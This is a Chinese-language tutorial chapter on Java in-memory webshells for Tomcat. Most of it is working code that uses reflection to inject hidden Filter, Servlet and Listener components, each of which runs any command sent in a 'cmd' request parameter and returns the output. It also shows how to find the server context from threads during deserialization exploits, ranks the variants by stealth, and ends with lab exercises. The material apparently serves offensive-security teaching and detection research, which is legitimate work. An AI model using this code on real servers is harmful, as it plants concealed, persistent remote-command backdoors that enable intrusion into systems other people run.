内存马 - 02 Servlet型内存马

这是内存马的核心章节,掌握了 Filter 型内存马,其他类型都是触类旁通

Filter 型内存马(最重要)

为什么 Filter 型最常用?

  1. 拦截范围广/* 可以拦截所有请求
  2. 优先级高:在 Servlet 之前执行
  3. 隐蔽性好:不需要新的 URL 路径,嵌入现有请求流量中
  4. 兼容性强:所有 Servlet 容器都支持

原理分析

正常 Filter 注册流程:

1
web.xml / @WebFilter → Tomcat 解析 → FilterDef + FilterMap → ApplicationFilterConfig → FilterChain

内存马的做法是跳过前面的步骤,直接操作 Tomcat 内部数据结构:

1
获取 StandardContext → 创建 FilterDef → 创建 FilterMap → 创建 ApplicationFilterConfig → 注入完成

注入步骤详解

Step 1: 获取 StandardContext

1
2
3
4
5
6
7
8
9
10
11
// 从 request 对象中获取
// request (RequestFacade) → request (Request) → context (StandardContext)
ServletRequest servletRequest = request;

// 如果是 RequestFacade,需要获取内部的 Request
Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(servletRequest);

// 获取 StandardContext
StandardContext standardContext = (StandardContext) req.getContext();

Step 2: 创建恶意 Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}

@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
// 检查是否是攻击者的请求(通过特定参数或 Header)
String cmd = req.getParameter("cmd");
if (cmd != null) {
// 执行命令
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
byte[] buf = new byte[1024];
int len;
StringBuilder sb = new StringBuilder();
while ((len = in.read(buf)) != -1) {
sb.append(new String(buf, 0, len));
}
response.getWriter().write(sb.toString());
return; // 不再传递给后续 Filter
}
// 正常请求放行
chain.doFilter(request, response);
}

@Override
public void destroy() {}
};

Step 3: 构造 FilterDef

1
2
3
4
5
6
7
8
// FilterDef 相当于 web.xml 中 <filter> 标签的内存表示
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);

// 添加到 StandardContext
standardContext.addFilterDef(filterDef);

Step 4: 构造 FilterMap

1
2
3
4
5
6
7
8
9
// FilterMap 相当于 web.xml 中 <filter-mapping> 标签的内存表示
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*"); // 拦截所有请求
filterMap.setDispatcher(DispatcherType.REQUEST.name());

// 添加到最前面,确保优先执行
// addFilterMapBefore 会将 Filter 插入到链的最前面
standardContext.addFilterMapBefore(filterMap);

Step 5: 构造 ApplicationFilterConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 这是关键的一步——创建 FilterConfig 并放入 filterConfigs 这个 Map 中
// 如果不做这一步,Filter 不会被实际调用

// ApplicationFilterConfig 的构造器是 protected 的,需要反射
Constructor<?> constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

// 获取 StandardContext 的 filterConfigs 字段(一个 HashMap)
Field filterConfigsField = standardContext.getClass()
.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs =
(Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);

// 将恶意 FilterConfig 放入
filterConfigs.put("evilFilter", filterConfig);

Servlet 型内存马

注入步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 1. 获取 StandardContext(同上)

// 2. 创建恶意 Servlet
Servlet evilServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
// ... 读取输出并返回
}
}
};

// 3. 用 Wrapper 封装 Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evilServlet");
wrapper.setServlet(evilServlet);
wrapper.setServletClass(evilServlet.getClass().getName());
wrapper.setLoadOnStartup(1);

// 4. 添加到 StandardContext
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evil", "evilServlet");

Servlet 型 vs Filter 型

维度 Filter 型 Servlet 型
URL 特征 无新 URL,嵌入现有流量 需要新的 URL 映射
隐蔽性 较低(新增了可疑 URL)
实现复杂度 中等 较简单
推荐度 ★★★★★ ★★★

Listener 型内存马

Listener 类型选择

Listener 类型 触发时机 适合做内存马?
ServletRequestListener 每次请求 ★★★★★ 最佳
HttpSessionListener Session 创建/销毁 ★★ 不够稳定
ServletContextListener 应用启动/关闭 ★ 只触发一次

注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 1. 获取 StandardContext

// 2. 创建恶意 Listener
ServletRequestListener evilListener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
StringBuilder sb = new StringBuilder();
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) != -1) {
sb.append(new String(buf, 0, len));
}
// Listener 中获取 response 需要特殊处理
// 方式:通过反射获取 response
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request request = (Request) reqField.get(req);
Response response = request.getResponse();
response.getWriter().write(sb.toString());
response.getWriter().flush();
} catch (Exception e) {
e.printStackTrace();
}
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {}
};

// 3. 注册到 StandardContext
standardContext.addApplicationEventListener(evilListener);

Listener 型的特点

优点:执行时机最早(在 Filter 之前)

缺点:获取 Response 对象不方便,需要反射

适用场景:需要最早执行的场景,或作为 Filter 型的替代方案

从线程中获取 StandardContext(无 request 场景)

在反序列化漏洞中,通常没有 request 对象,需要从线程中获取 StandardContext

方法1:从 Thread 的 ThreadLocal 中获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Tomcat 在处理请求时,会将 Request 存储在线程的 ThreadLocal 中
// 通过遍历线程可以找到
Thread[] threads = (Thread[]) getFieldValue(
Thread.currentThread().getThreadGroup(), "threads");

for (Thread thread : threads) {
if (thread == null) continue;
if (thread.getName().contains("http") || thread.getName().contains("exec")) {
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;
Object[] entries = (Object[]) getFieldValue(threadLocals, "table");
for (Object entry : entries) {
if (entry == null) continue;
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName()
.contains("ApplicationContext")) {
ServletContext servletContext = (ServletContext) value;
Field contextField = servletContext.getClass()
.getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext =
(StandardContext) contextField.get(servletContext);
return standardContext;
}
}
}
}

方法2:从 ContextClassLoader 回溯

1
2
3
4
// WebappClassLoader → StandardContext
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object resources = getFieldValue(classLoader, "resources");
StandardContext context = (StandardContext) getFieldValue(resources, "context");

深入理解:为什么 5 步缺一不可?

很多初学者只做了 FilterDef + FilterMap 就以为注入成功了,结果 Filter 不生效。这里解释每一步在 Tomcat 内部的作用:

请求处理时 Tomcat 做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
请求到达 → ApplicationFilterFactory.createFilterChain()

├── 1. 遍历 standardContext.findFilterMaps() ← 需要 FilterMap
│ 找到 URL 匹配的 FilterName

├── 2. 用 FilterName 从 filterConfigs (HashMap) 中取出 FilterConfig
│ ← 这就是为什么一定要注册 ApplicationFilterConfig !!!
│ 如果 filterConfigs 里没有对应的 key,Filter 就被跳过了

├── 3. FilterConfig.getFilter() 获取 Filter 实例
│ ← FilterConfig 内部持有 FilterDef,FilterDef 持有 Filter 实例

└── 4. 构造 ApplicationFilterChain,按顺序调用 doFilter

只注册 FilterDef + FilterMap 的后果

1
2
3
4
5
// ❌ 错误写法:只做了两步
standardContext.addFilterDef(filterDef);
standardContext.addFilterMapBefore(filterMap);
// 结果:FilterMap 能匹配到请求,但 filterConfigs 里没有对应项
// Tomcat 会直接跳过这个 Filter,不会报错,但也不会执行

注入后的验证方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 注入完成后,用以下代码验证三个关键数据结构是否都就位
// 1. FilterDef
assert standardContext.findFilterDef("evilFilter") != null : "FilterDef 缺失";

// 2. FilterMap
boolean mapFound = false;
for (FilterMap m : standardContext.findFilterMaps()) {
if ("evilFilter".equals(m.getFilterName())) { mapFound = true; break; }
}
assert mapFound : "FilterMap 缺失";

// 3. FilterConfig
Field f = standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map<?, ?> configs = (Map<?, ?>) f.get(standardContext);
assert configs.containsKey("evilFilter") : "FilterConfig 缺失";

注意事项与踩坑点

Tomcat 版本差异

版本 差异点
Tomcat 7 FilterDeforg.apache.catalina.deploy 包下
Tomcat 8+ FilterDeforg.apache.tomcat.util.descriptor.web 包下
Tomcat 10+ Jakarta 命名空间,javax.servletjakarta.servlet

其他注意

线程安全:Filter/Servlet 是多线程共享的,恶意逻辑需要考虑并发问题

Filter 顺序:使用 addFilterMapBefore() 将恶意 Filter 插入到最前面,否则可能被其他 Filter 拦截

类加载器问题:如果通过 defineClass 加载恶意类,需要使用 WebappClassLoader 而不是 AppClassLoader,否则可能无法访问 Servlet API

addFilterMapBefore vs addFilterMap 的区别

1
2
3
4
5
6
7
8
9
10
// addFilterMapBefore → 插入到所有 programmatic filter 之前(推荐)
standardContext.addFilterMapBefore(filterMap);

// addFilterMap → 追加到末尾(可能被已有 Filter 拦截或修改请求)
standardContext.addFilterMap(filterMap);

// 源码中 FilterMap 分为两部分:
// [0, insertPoint) = XML/注解定义的 Filter(addFilterMapBefore 插入到这之前)
// [insertPoint, length) = 编程方式添加的 Filter
// addFilterMapBefore 实际上是插入到 insertPoint 位置

练习

  1. 在靶场环境中手动注入一个 Filter 型内存马
  2. 比较 Filter 型和 Listener 型的执行顺序
  3. 尝试在没有 request 对象的情况下获取 StandardContext
  4. 观察注入前后 standardContext.getFilterDefs() 的变化

上一章 目录 下一章
01-内存马概述 内存马 02.5-Valve与WebSocket型